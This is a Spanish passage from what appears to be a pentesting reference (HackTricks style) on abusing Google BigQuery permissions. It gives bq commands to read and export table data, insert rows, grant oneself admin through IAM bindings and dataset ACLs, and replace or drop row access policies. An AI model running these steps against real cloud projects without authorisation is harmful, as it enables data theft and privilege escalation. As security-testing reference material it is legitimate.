Al leer la información almacenada dentro de una tabla de BigQuery, podría ser posible encontrar información sensible. Para acceder a la información se necesitan los permisos bigquery.tables.get, bigquery.jobs.create y bigquery.tables.getData:
Leer datos de una tabla de BigQuery
```bash
bq head .
bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000'
```
Esta es otra forma de acceder a los datos. Exportarlo a un cloud storage bucket y descargar los archivos con la información. Para realizar esta acción se necesitan los siguientes permisos: bigquery.tables.export, bigquery.jobs.create y storage.objects.create.
Exportar tabla de BigQuery a Cloud Storage
```bash
bq extract .
Puede ser posible introducir ciertos datos confiables en una tabla de Bigquery para explotar una vulnerabilidad en otro lugar. Esto se puede hacer fácilmente con los permisos bigquery.tables.get , bigquery.tables.updateData and bigquery.jobs.create:
Insertar datos en una tabla de BigQuery
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
</details>
### `bigquery.datasets.setIamPolicy`
Un atacante podría abusar de este privilegio para **darse permisos adicionales** sobre un dataset de BigQuery:
<details>
<summary>Establecer la política IAM en el dataset de BigQuery</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
Solo este permiso permite actualizar tu acceso a un dataset de BigQuery modificando las ACLs que indican quién puede acceder:
Actualizar ACLs del dataset de BigQuery
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson : > acl.json
## Give permissions to the desired user
bq update --source acl.json :
## Read it with
bq head $PROJECT_ID:.
Un attacker podría abusar de este privilegio para concederse permisos adicionales sobre una tabla de BigQuery:
Set IAM policy on BigQuery table
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:' \
--role='roles/bigquery.admin' \
:.
</details>
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
Según la documentación, con los permisos mencionados es posible **actualizar una row policy.**\
Sin embargo, **usando el cli `bq`** necesitas algunos permisos más: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
<details>
<summary>Crear o reemplazar row access policy</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
Es posible encontrar el ID del filtro en la salida de la enumeración de políticas de fila. Ejemplo:
Listar políticas de acceso a filas
```bash
bq ls --row_access_policies :.
Id Filter Predicate Grantees Creation Time Last Modified Time
apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
</details>
Si tienes **`bigquery.rowAccessPolicies.delete`** en lugar de `bigquery.rowAccessPolicies.update` también podrías simplemente eliminar la política:
<details>
<summary>Eliminar políticas de acceso por fila</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
Caution
Otra opción potencial para eludir las políticas de acceso por fila sería simplemente cambiar el valor de los datos restringidos. Si solo puedes ver cuando term es Cfba, modifica todos los registros de la tabla para que tengan term = "Cfba". Sin embargo, esto está prevenido por bigquery.